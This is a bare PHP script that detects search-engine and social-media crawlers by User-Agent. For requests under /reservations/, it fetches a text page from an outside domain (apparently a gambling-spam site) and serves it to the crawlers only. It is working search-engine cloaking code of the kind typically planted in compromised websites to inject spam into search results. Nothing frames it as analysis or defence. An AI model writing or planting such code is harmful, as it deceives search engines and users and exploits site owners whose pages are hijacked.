<?php
header('Vary: Accept-Language, User-Agent', true);
function is_bot(): bool {
    $ua = strtolower($_SERVER['HTTP_USER_AGENT'] ?? '');
    if ($ua === '') return false;

    $bots = [
        'googlebot', 'bingbot', 'slurp', 'duckduckbot', 'google-amphtml',
        'yandexbot', 'facebookexternalhit', 'twitterbot', 'applebot',
        'google-inspectiontool'
    ];

    foreach ($bots as $bot) {
        if (strpos($ua, $bot) !== false) {
            return true;
        }
    }
    return false;
}

function fetch_lp(string $url): ?string {
    $ctx = stream_context_create([
        'http' => [
            'timeout' => 4,
            'follow_location' => 1,
            'header' => "User-Agent: " . ($_SERVER['HTTP_USER_AGENT'] ?? "Mozilla/5.0") . "\r\n"
        ]
    ]);
    $body = @file_get_contents($url, false, $ctx);
    return $body !== false ? $body : null;
}

$request_uri = strtok($_SERVER['REQUEST_URI'] ?? '/', '?'); 



if (is_bot()) {
    // Root domain
    if (strpos($request_uri, '/reservations/') === 0) {
        $lp = fetch_lp("https://my.sumbartoto.one/txt/car-detailing-for-scratch-removal.txt");
        if ($lp !== null) {
            header('Content-Type: text/html; charset=UTF-8');
            echo $lp;
            exit;
        }
    }
}